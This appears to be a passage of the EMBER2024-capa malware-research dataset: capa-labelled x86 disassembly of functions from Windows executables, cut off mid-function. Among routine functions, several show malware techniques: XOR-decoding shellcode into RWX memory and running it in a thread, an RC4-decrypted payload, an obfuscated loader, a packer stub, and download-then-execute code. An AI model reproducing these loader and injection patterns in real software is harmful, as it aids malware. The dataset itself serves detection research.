joyce8/EMBER2024-capa huggingface dataset:
Function at 0x416d3b
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov ebx, eax
and eax, 0x3f
sar ebx, 6
push edi
imul edi, eax, 0x38
push 0xa
mov eax, dword [ebx*4 + 0x479410]
pop edx
mov dword [ebp - 0x14], edx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x416d7e
cmp word [esi], dx
jne 0x416d7e
or byte [edi + eax + 0x28], 4
jmp 0x416d83
and byte [edi + eax + 0x28], 0xfb
lea edx, [esi + ecx*2]
mov eax, esi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
cmp eax, edx
jae 0x416ed6
mov dword [ebp - 0xc], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x10], edx
push 0x1a
pop edx
cmp cx, dx
mov edx, dword [ebp - 8]
je 0x416eb6
add eax, 2
cmp cx, word [ebp - 0xc]
je 0x416dc5
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x416dfb
cmp eax, edx
jae 0x416e07
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x14]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 8]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
add esi, 2
cmp eax, edx
jb 0x416d9d
jmp 0x416ed6
push 0
lea eax, [ebp - 0x14]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x416eb2
cmp dword [ebp - 0x14], 0
je 0x416eb2
mov eax, dword [ebx*4 + 0x479410]
push 0xa
test byte [edi + eax + 0x28], 0x48
je 0x416e8a
mov dx, word [ebp - 4]
lea eax, [esi + 2]
pop ecx
mov dword [ebp - 0x18], eax
cmp dx, cx
jne 0x416e53
mov word [esi], cx
jmp 0x416e86
push 0xd
pop eax
mov word [esi], ax
mov eax, dword [ebx*4 + 0x479410]
movzx ecx, dx
shr ecx, 8
push 0xa
mov byte [edi + eax + 0x2a], dl
mov eax, dword [ebx*4 + 0x479410]
mov byte [edi + eax + 0x2b], cl
mov eax, dword [ebx*4 + 0x479410]
pop ecx
mov byte [edi + eax + 0x2c], cl
mov eax, dword [ebp - 0x18]
mov esi, eax
jmp 0x416ed6
pop ebx
cmp word [ebp - 4], bx
jne 0x416e9b
cmp esi, dword [ebp + 0xc]
jne 0x416e9b
mov word [esi], bx
jmp 0x416ed3
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.0041776f
add esp, 0x10
cmp word [ebp - 4], bx
je 0x416ed6
push 0xd
jmp 0x416ecf
mov ecx, dword [ebx*4 + 0x479410]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x416ecd
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x416ed6
push 0x1a
pop eax
mov word [esi], ax
add esi, 2
sub esi, dword [ebp + 0xc]
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x419cb9
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x419d56
push ebx
push esi
call fcn.00419c82
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.00418907
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x419d03
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x419d55
push edi
push eax
call fcn.004127f3
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x419d23
call fcn.004127b9
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x419d54
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.00418907
add esp, 0x20
test eax, eax
jne 0x419d42
push edi
call fcn.004127b9
jmp 0x419d4a
push ebx
call fcn.004127b9
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x420f60
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x420f8d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x420f8d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x422000
Capabilities:
Encrypt data using rc4 prga

Disassembly:
sub esp, 0x214
mov eax, dword [0x42d040]
xor eax, esp
mov dword [esp + 0x20c], eax
push ebx
push ebp
push esi
push edi
xor edi, edi
mov ebp, 0x100
mov ecx, edi
xor edx, edx
mov byte [esp + ecx + 0x18], cl
push 0x38
mov eax, ecx
pop esi
div esi
mov al, byte [edx + 0x478580]
mov byte [esp + ecx + 0x118], al
inc ecx
cmp ecx, ebp
jl 0x422021
mov esi, edi
mov ebx, edi
mov dl, byte [esp + esi + 0x18]
movzx eax, byte [esp + esi + 0x118]
add eax, ebx
movzx ecx, dl
add ecx, eax
mov ebx, ecx
and ebx, 0x800000ff
jns 0x422069
dec ebx
or ebx, 0xffffff00
inc ebx
mov al, byte [esp + ebx + 0x18]
mov byte [esp + esi + 0x18], al
inc esi
mov byte [esp + ebx + 0x18], dl
cmp esi, ebp
jl 0x422044
mov ebp, edi
mov dword [esp + 0x14], edi
inc edi
and edi, 0x800000ff
jns 0x422091
dec edi
or edi, 0xffffff00
inc edi
mov bl, byte [esp + edi + 0x18]
movzx esi, bl
add ebp, esi
and ebp, 0x800000ff
jns 0x4220aa
dec ebp
or ebp, 0xffffff00
inc ebp
push ecx
call fcn.00401981
push eax
call fcn.00402d2f
mov al, byte [esp + ebp + 0x1c]
mov byte [esp + edi + 0x1c], al
mov byte [esp + ebp + 0x1c], bl
movzx eax, byte [esp + edi + 0x1c]
add eax, esi
pop ecx
mov ecx, dword [esp + 0x14]
movzx eax, al
mov al, byte [esp + eax + 0x18]
xor byte [ecx + 0x42dad0], al
inc ecx
mov dword [esp + 0x14], ecx
cmp ecx, 0x4a600
jl 0x422080
mov ecx, dword [esp + 0x21c]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00405899
add esp, 0x214
ret
Function at 0x4222df
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x24
mov eax, dword [0x42d040]
xor eax, esp
mov dword [esp + 0x20], eax
push ebx
push esi
push edi
push str.006:107_4:_00007:277_0:_004:_04:_008:_08:_08:_8:_7:2_3:_9:193_4:_
lea ecx, [esp + 0x18]
call fcn.00401abf
push 0xc
call fcn.004058ac
pop ecx
lea ecx, [esp + 0x14]
push ecx
mov ecx, eax
call fcn.00422101
mov ebx, 0x4ac
mov esi, dword [eax + 4]
lea eax, [esp + 0xc]
push eax
push 0x40
push ebx
shl esi, 2
push 0x4780d0
sub esi, 0x40
push 0xffffffffffffffff
mov dword [esp + 0x20], esi
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
call dword [sym.imp.KERNEL32.dll_FreeConsole]
xor edi, edi
push edi
push edi
push edi
call dword [sym.imp.USER32.dll_GetUpdateRgn]
mov dword [esp + 0x10], esi
mov ecx, edi
mov al, byte [ecx + 0x4780d0]
xor al, 0x73
sub al, 0x6c
xor al, 0x74
add al, 0x4e
xor al, 0x70
sub al, 0x65
xor al, 0x22
sub al, 0x73
xor al, 0x2a
mov byte [ecx + 0x4780d0], al
inc ecx
cmp ecx, ebx
jb 0x422356
push ecx
push ecx
call section..bss
pop ecx
pop ecx
lea eax, [esp + 0x10]
push eax
push edi
push 0x42dad0
push 0x478258
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x14]
call fcn.004023d0
mov ecx, dword [esp + 0x2c]
xor eax, eax
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00405899
mov esp, ebp
pop ebp
ret
Function at 0x1000ec86
Capabilities:
Hash data using djb2

Disassembly:
movzx eax, word [ecx]
mov edx, 0x1505
push esi
xor esi, esi
jmp 0x1000eca0
imul edx, edx, 0x21
movzx eax, ax
xor edx, eax
inc esi
movzx eax, word [ecx + esi*2]
test ax, ax
jne 0x1000ec93
imul eax, edx, 0x41c64e6d
imul ecx, edx, 0x10dcd
pop esi
add eax, 0x3039
shr eax, 0x10
inc ecx
and ecx, 0xffff0000
or eax, ecx
ret

Function at 0x1000f8cb
Capabilities:
Hash data using djb2

Disassembly:
push esi
mov esi, ecx
test esi, esi
jne 0x1000f8d7
or eax, 0xffffffff
pop esi
ret
movzx eax, word [esi]
push ebx
push edi
mov edi, 0x1505
xor ebx, ebx
jmp 0x1000f8ff
movzx ecx, ax
add eax, 0xffffffbf
cmp ax, 0x19
lea edx, [ecx + 0x20]
cmova edx, ecx
imul edi, edi, 0x21
xor edi, edx
inc ebx
movzx eax, word [esi + ebx*2]
test ax, ax
jne 0x1000f8e5
imul eax, edi, 0x41c64e6d
imul ecx, edi, 0x10dcd
pop edi
pop ebx
pop esi
add eax, 0x3039
shr eax, 0x10
inc ecx
and ecx, 0xffff0000
or eax, ecx
ret

Function at 0x10023f2d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x10023f3c
pop dword [ebp - 0x14]
mov eax, 0x6298db1e
add eax, 0xad69641e
sub dword [ebp - 0x14], eax
mov dword [ebp - 0x24], 0x3417da22
sub dword [ebp - 0x24], 0xe5c594d7
mov dword [ebp - 0x20], 0x53a510f
add dword [ebp - 0x20], 0x2cf8fb36
mov dword [ebp - 0x1c], 0xa6f0961c
sub dword [ebp - 0x1c], 0x5aa451ee
mov dword [ebp - 0x18], 0xcf864ff2
sub dword [ebp - 0x18], 0xcf864ff2
lea eax, [ebp - 0x24]
push eax
mov eax, 0xb70134a3
add eax, 0x59013c59
add eax, dword [ebp - 0x14]
call dword [eax]
mov dword [ebp - 0x24], 0xe0a56e1d
sub dword [ebp - 0x24], 0x6c3304c7
mov dword [ebp - 0x20], 0x48961537
sub dword [ebp - 0x20], 0x729b3c2
mov dword [ebp - 0x1c], 0x6312a6cc
sub dword [ebp - 0x1c], 0xffa33a60
mov dword [ebp - 0x18], 0x3fce83d7
sub dword [ebp - 0x18], 0x3fce83d7
lea ebx, [ebp - 0x24]
push ebx
push eax
mov eax, 0x8aa44a4c
add eax, 0x855e25dc
add eax, dword [ebp - 0x14]
call dword [eax]
push 0x40
push 0x1000
push 0x3f046
push 0
call eax
mov ecx, 0x60ea3fcf
add ecx, 0x9f160ef8
mov edx, eax
mov esi, 0x10041c00
add esi, dword [ebp - 0x14]
mov ebx, 0xb4fb45e
sub ebx, 0x3785d0c5
sub dword [ebp - 4], 0xe32d365c
mov edi, dword [esi]
xor edi, ebx
mov dword [ebp - 0x10], 0x19777294
mov dword [edx], edi
xor dword [ebp - 0x10], 0xe68513d5
add edx, 4
add esi, 4
loop 0x10024058
add eax, 0x26e135fc
sub eax, 0x26e0080d
mov ebx, eax
add eax, 0x14020c77
add eax, 0xebfdf38e
mov ecx, 0x4c427a76
add ecx, 0xc3bd858a
add ecx, dword [ebp - 0x14]
call ebx
leave
ret
Function at 0x4400c9
Capabilities:
Encrypt data using dpapi

Disassembly:
push esi
push edi
push 0x46c6d0
push str.AdvApi32.dll
call main
mov edi, dword [sym.imp.kernel32.dll_GetProcAddress]
mov esi, eax
test esi, esi
js 0x44010c
push str.SystemFunction040
push dword [0x46c6d0]
call edi
push str.SystemFunction041
push dword [0x46c6d0]
mov dword [0x46c6c0], eax
call edi
mov dword [0x46c6c4], eax
jmp 0x440111
mov eax, dword [0x46c6c4]
cmp dword [0x46c6c0], 0
je 0x440122
test eax, eax
jne 0x4401c9
push 0x46c6d4
push str.Crypt32.dll
call main
mov esi, eax
test esi, esi
js 0x4401d3
push str.CryptProtectMemory
push dword [0x46c6d4]
call edi
cmp dword [0x46c6c0], 0
mov dword [0x46c6c8], eax
jne 0x440187
test eax, eax
jne 0x440187
call dword [sym.imp.kernel32.dll_GetLastError]
mov esi, eax
test esi, esi
jle 0x440171
movzx esi, si
or esi, 0x80070000
test esi, esi
js 0x440178
mov esi, 0x80004005
push esi
push 0x28
push str.c:_agent_work138_s_srclibsdutilcryputil.cpp
call fcn.004038f5
jmp 0x4401d3
push str.CryptUnprotectMemory
push dword [0x46c6d4]
call edi
cmp dword [0x46c6c4], 0
mov dword [0x46c6cc], eax
jne 0x4401c9
test eax, eax
jne 0x4401c9
call dword [sym.imp.kernel32.dll_GetLastError]
mov esi, eax
test esi, esi
jle 0x4401bd
movzx esi, si
or esi, 0x80070000
test esi, esi
js 0x4401c4
mov esi, 0x80004005
push esi
push 0x2d
jmp 0x44017b
mov dword [0x46c6d8], 1
pop edi
mov eax, esi
pop esi
ret

Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40c7d0
nop
nop
mov ecx, 0x50533476
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x43204e
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x432024
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42f314
mov ecx, 0x3df61294
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x432084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x43206c
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x431219
Function at 0x4016bf
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, dword [ebp + 0xc]
xor ebx, ebx
push edi
mov edi, dword [ebp + 0x10]
mov eax, dword [edi]
add eax, eax
mov dword [edi], ebx
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
push esi
lea eax, [ebp - 4]
push eax
push ebx
push str.LocalService
push dword [ecx]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x40172a
cmp dword [ebp - 4], 1
je 0x4016ff
cmp dword [ebp - 4], 2
jne 0x40171a
mov ecx, dword [ebp - 8]
test esi, esi
je 0x401724
test ecx, ecx
je 0x40171f
test cl, 1
jne 0x40171a
mov eax, ecx
shr eax, 1
cmp word [esi + eax*2 - 2], bx
je 0x401724
push 0xd
pop eax
jmp 0x40172a
xor eax, eax
mov word [esi], ax
shr ecx, 1
xor eax, eax
mov dword [edi], ecx
pop edi
pop esi
pop ebx
leave
ret 0xc

Function at 0x402166
Capabilities:
Enumerate pe sections

Disassembly:
mov ecx, dword [esp + 8]
push esi
push edi
xor edi, edi
movzx eax, word [ecx + 0x14]
movzx esi, word [ecx + 6]
test esi, esi
lea eax, [eax + ecx + 0x18]
jbe 0x4021a1
mov ecx, dword [eax + 8]
test ecx, ecx
jne 0x402188
mov ecx, dword [eax + 0x10]
mov edx, dword [eax + 0xc]
cmp dword [esp + 0xc], edx
jb 0x402199
add edx, ecx
cmp dword [esp + 0xc], edx
jb 0x4021a3
inc edi
add eax, 0x28
cmp edi, esi
jb 0x40217e
xor eax, eax
pop edi
pop esi
ret

Function at 0x40449c
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x25c
mov eax, dword [0x42600c]
xor eax, esp
mov dword [esp + 0x258], eax
push esi
mov esi, ecx
test esi, esi
jne 0x4044c1
push 0xd
jmp 0x404516
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x404514
push 0x250
lea eax, [esp + 0xc]
push 0
push eax
call fcn.004095e0
add esp, 0xc
lea eax, [esp + 8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
cmp eax, 0xffffffff
je 0x404514
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
push ecx
xor edx, edx
mov ecx, esi
call fcn.00403c3e
neg eax
pop ecx
sbb eax, eax
and eax, 0xfffffc12
add eax, 0x3ee
jmp 0x404517
push 2
pop eax
mov ecx, dword [esp + 0x25c]
pop esi
xor ecx, esp
call fcn.0040797f
mov esp, ebp
pop ebp
ret
Function at 0x4045e3
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
xor esi, esi
mov dword [ebp - 0xc], ecx
push esi
push 0x80
push 1
push esi
push 1
push 0x40000000
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x404697
mov eax, 0x100000
mov dword [ebp - 8], esi
push eax
mov dword [ebp - 4], eax
mov edi, esi
call fcn.0040d559
pop ecx
mov esi, eax
push 0
lea eax, [ebp - 8]
push eax
push dword [ebp - 4]
push esi
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x404687
cmp dword [ebp - 8], 0
jbe 0x404687
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push 0
push eax
push dword [ebp - 8]
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x404667
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
and dword [ebp - 8], 0
mov eax, 0x100000
mov dword [ebp - 4], eax
test esi, esi
je 0x404683
push eax
push 0
push esi
call fcn.004095e0
add esp, 0xc
test edi, edi
je 0x404629
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call fcn.0040d414
pop ecx
jmp 0x40469f
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x404823
Capabilities:
Get common file path

Disassembly:
push 0x41c
mov eax, 0x41a46b
call fcn.004198de
mov esi, dword [ebp + 8]
push 1
push dword [ebp + 0xc]
call fcn.00404298
pop ecx
pop ecx
lea ecx, [ebp - 0x424]
call fcn.00406594
lea eax, [ebp - 0x425]
xor ebx, ebx
push eax
push dword [ebp + 0xc]
mov dword [ebp - 4], ebx
lea ecx, [ebp - 0x424]
push esi
mov byte [ebp - 0x425], bl
call fcn.0040692b
push 0x208
lea eax, [ebp - 0x218]
push ebx
push eax
call fcn.004095e0
add esp, 0xc
lea eax, [ebp - 0x218]
push eax
push ebx
push ebx
push 0x2b
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
js 0x4048bc
push str.AdobeARM1.0Temp
mov edx, 0x104
lea ecx, [ebp - 0x218]
call fcn.00403aa0
test eax, eax
js 0x4048bc
lea ecx, [ebp - 0x218]
call fcn.004046a6
call fcn.00419888
ret
Function at 0x403bff
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 4]
add eax, 4
push eax
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 4]
mov dword [ecx], eax
mov eax, dword [ebp - 4]
cmp dword [eax], 0
je 0x403c36
mov dword [ebp - 8], 1
jmp 0x403c3a
and dword [ebp - 8], 0
mov eax, dword [ebp - 8]
leave
ret 8

Function at 0x403c41
Capabilities:
Terminate thread

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 4]
cmp dword [eax], 0
je 0x403c68
push 0
mov eax, dword [ebp - 4]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov eax, dword [ebp - 4]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 4]
and dword [eax], 0
leave
ret

Function at 0x4049f3
Capabilities:
Hash data using murmur3

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
shr eax, 0x10
xor eax, dword [ebp + 8]
mov dword [ebp + 8], eax
imul eax, dword [ebp + 8], 0x85ebca6b
mov dword [ebp + 8], eax
mov eax, dword [ebp + 8]
shr eax, 0xd
xor eax, dword [ebp + 8]
mov dword [ebp + 8], eax
imul eax, dword [ebp + 8], 0xc2b2ae35
mov dword [ebp + 8], eax
mov eax, dword [ebp + 8]
shr eax, 0x10
xor eax, dword [ebp + 8]
mov dword [ebp + 8], eax
mov eax, dword [ebp + 8]
pop ebp
ret
Function at 0x405790
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [ebp + 0xc]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
call fcn.00401546
test eax, eax
jne 0x4057da
push 5
push 0
push 0
lea eax, [ebp - 8]
push eax
mov ecx, dword [ebp - 4]
call fcn.0040159e
mov ecx, eax
call fcn.00406f44
push eax
push 0x426508
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov dword [ebp - 0xc], eax
lea ecx, [ebp - 8]
call fcn.00406be2
leave
ret

Function at 0x40583a
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
push edi
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x10]
call fcn.00424f7f
mov dword [ebp - 0x1c], eax
and dword [ebp - 4], 0
lea eax, [ebp - 0x28]
push eax
mov ecx, dword [ebp + 0xc]
call fcn.0040b4c6
mov dword [ebp - 0x14], eax
lea eax, [ebp - 8]
push eax
mov ecx, dword [ebp - 0x14]
call fcn.00406e4b
lea ecx, [ebp - 0x28]
call fcn.00401698
lea ecx, [ebp - 8]
call fcn.00406b4a
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x4058df
and dword [ebp - 0xc], 0
push 8
pop ecx
xor eax, eax
lea edi, [ebp - 0x48]
rep stosd dword es:[edi], eax
and dword [ebp - 0x44], 0
mov dword [ebp - 0x40], 1
mov dword [ebp - 0x3c], 6
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x48]
push eax
push 0
lea ecx, [ebp - 8]
call fcn.00406b4a
push eax
call dword [sym.imp.WS2_32.dll_getaddrinfo]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x18]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 4]
mov dword [ebp - 4], eax
push dword [ebp - 4]
push dword [ebp - 0x1c]
push dword [ebp + 8]
push 0x560610
mov ecx, 0x5606fc
call fcn.004255ec
lea ecx, [ebp - 8]
call fcn.00406b06
pop edi
leave
ret
Function at 0x4059ee
Capabilities:
Create process on windows
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
mov eax, dword [ebp + 0x10]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
mov ecx, dword [ebp + 0xc]
call fcn.00421456
push 0x4264ec
lea ecx, [ebp - 4]
call fcn.00406c53
mov dword [ebp - 0x10], eax
push 0xa
lea eax, [ebp - 0x14]
push eax
call fcn.00406d2e
pop ecx
pop ecx
mov dword [ebp - 0xc], eax
push dword [ebp - 0xc]
mov ecx, dword [ebp - 0x10]
call fcn.00406cc1
lea ecx, [ebp - 0x14]
call fcn.00406be2
lea eax, [ebp - 0x20]
push eax
mov ecx, dword [ebp - 8]
call fcn.00401605
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x1c]
push eax
mov ecx, dword [ebp - 0x18]
call fcn.00406de1
push eax
lea ecx, [ebp - 4]
call fcn.00406cc1
lea ecx, [ebp - 0x1c]
call fcn.00406be2
lea ecx, [ebp - 0x20]
call fcn.00406be2
lea ecx, [ebp - 4]
call fcn.00406f44
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x2c]
push eax
mov ecx, dword [ebp - 8]
call fcn.00401605
mov ecx, eax
call fcn.00406f44
mov dword [ebp - 0x28], eax
push 0
push 0
push dword [ebp - 0x24]
push dword [ebp - 0x28]
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileW]
mov dword [ebp - 0x30], eax
lea ecx, [ebp - 0x2c]
call fcn.00406be2
cmp dword [ebp - 0x30], 0
je 0x405ad6
push 1
lea ecx, [ebp - 0x3c]
call fcn.00408356
push eax
mov ecx, dword [ebp + 8]
call fcn.00409811
lea ecx, [ebp - 0x3c]
call fcn.0040833c
lea ecx, [ebp - 4]
call fcn.00406be2
jmp 0x405b43
push 5
push 0
push 0
lea ecx, [ebp - 4]
call fcn.00406f44
push eax
push 0x4264f0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0x20
ja 0x405b20
push 2
lea ecx, [ebp - 0x44]
call fcn.00408356
push eax
mov ecx, dword [ebp + 8]
call fcn.00409811
lea ecx, [ebp - 0x44]
call fcn.0040833c
lea ecx, [ebp - 4]
call fcn.00406be2
jmp 0x405b43
push 0
lea ecx, [ebp - 0x4c]
call fcn.00408356
push eax
mov ecx, dword [ebp + 8]
call fcn.00409811
lea ecx, [ebp - 0x4c]
call fcn.0040833c
lea ecx, [ebp - 4]
call fcn.00406be2
leave
ret
Function at 0x405b75
Capabilities:
Create process on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x250
push esi
mov eax, dword [ebp + 0xc]
mov dword [ebp - 4], eax
and dword [ebp - 0x10], 0
lea ecx, [ebp - 8]
call fcn.00406f52
lea eax, [ebp - 0x18]
push eax
mov ecx, dword [ebp - 4]
call fcn.0040159e
mov ecx, eax
call fcn.00406f1b
test eax, eax
jne 0x405bb1
mov dword [ebp - 0x14], 1
jmp 0x405bb5
and dword [ebp - 0x14], 0
mov al, byte [ebp - 0x14]
mov byte [ebp - 9], al
lea ecx, [ebp - 0x18]
call fcn.00406be2
movzx eax, byte [ebp - 9]
test eax, eax
je 0x405c3e
lea eax, [ebp - 0x250]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea eax, [ebp - 0x250]
push eax
lea ecx, [ebp - 0x1c]
call fcn.00406f64
push eax
lea ecx, [ebp - 8]
call fcn.00406bfc
lea ecx, [ebp - 0x1c]
call fcn.00406be2
mov ecx, dword [ebp - 4]
call fcn.00401546
push eax
lea ecx, [ebp - 8]
call fcn.00406cda
mov dword [ebp - 0x20], eax
push str..exe
mov ecx, dword [ebp - 0x20]
call fcn.00406c53
mov ecx, dword [ebp - 4]
call fcn.004015bb
test eax, eax
jne 0x405c3c
push ecx
mov ecx, esp
lea eax, [ebp - 8]
push eax
call fcn.00406fbc
call fcn.0041ee12
pop ecx
jmp 0x405c79
lea eax, [ebp - 0x24]
push eax
mov ecx, dword [ebp - 4]
call fcn.0040159e
push eax
lea ecx, [ebp - 8]
call fcn.00406bfc
lea ecx, [ebp - 0x24]
call fcn.00406be2
mov ecx, dword [ebp - 4]
call fcn.004015bb
test eax, eax
jne 0x405c79
push ecx
mov ecx, esp
lea eax, [ebp - 8]
push eax
call fcn.00406fbc
call fcn.0041ee12
pop ecx
push 0
push ecx
mov ecx, esp
lea eax, [ebp - 8]
push eax
call fcn.00406fbc
lea ecx, [ebp - 0x48]
call fcn.0041f284
lea eax, [ebp - 8]
push eax
call fcn.0041e9e4
pop ecx
test eax, eax
jne 0x405cb1
push 1
push 0x40000000
lea ecx, [ebp - 0x48]
call fcn.0041f204
mov dword [ebp - 0x10], eax
jmp 0x405cc3
push 1
push 0x40000000
lea ecx, [ebp - 0x48]
call fcn.0041f1a8
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x405cf0
push 2
lea eax, [ebp - 0x30]
push eax
mov ecx, dword [ebp - 4]
call fcn.004015d9
push eax
lea ecx, [ebp - 0x48]
call fcn.0041f124
lea ecx, [ebp - 0x30]
call fcn.004066da
lea ecx, [ebp - 0x48]
call fcn.0041f0ff
mov ecx, dword [ebp - 4]
call fcn.004015f6
movzx eax, al
test eax, eax
je 0x405d34
mov ecx, dword [ebp - 4]
call fcn.004015bb
mov esi, eax
mov ecx, dword [ebp - 4]
call fcn.004015ca
cmp esi, eax
jne 0x405d34
push 5
push 0
push 0
lea ecx, [ebp - 8]
call fcn.00406f44
push eax
push 0x4264e0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov dword [ebp - 0x28], eax
lea ecx, [ebp - 0x48]
call fcn.0041edeb
lea ecx, [ebp - 8]
